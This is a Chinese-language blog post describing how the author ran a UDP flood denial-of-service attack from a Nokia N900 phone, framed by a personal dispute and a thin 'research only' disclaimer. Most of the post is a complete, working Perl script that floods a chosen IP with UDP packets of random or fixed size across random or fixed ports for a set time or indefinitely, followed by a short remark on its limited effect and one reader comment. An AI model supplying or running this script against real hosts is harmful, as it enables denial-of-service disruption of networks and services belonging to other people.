N900 进行 UDP Flood 攻击

[本文部分内容涉及攻击性,仅供研究交流,请勿恶意利用。]

之前跟某某对着干,写了个小程序在内网用来 UDP Flood 攻击,后来想了想,可不可以用我的 N900 进行呢,后来找了一些参考资料,决定从 Perl 下手。

#!/usr/bin/perl

############################

udp flood script for perl

############################

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl ip port size time\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

#my $sum = 1;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65535))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
#$sum+=1;
#print "sending package".$sum;
#system "clear";
}


 

利用 Perl 的 Socket 模块大规模发送 UDP 数据包,进行 UDP 洪水攻击。不过 Dos 攻击本来就是个两败俱伤的技术手段,N900 的低配 CPU 只能勉强卡顿下网络。

Tags: n900, Attack, flood, UDP

2 Comments

  1. Zero Zero

    这是C语言吗?

Write a new comment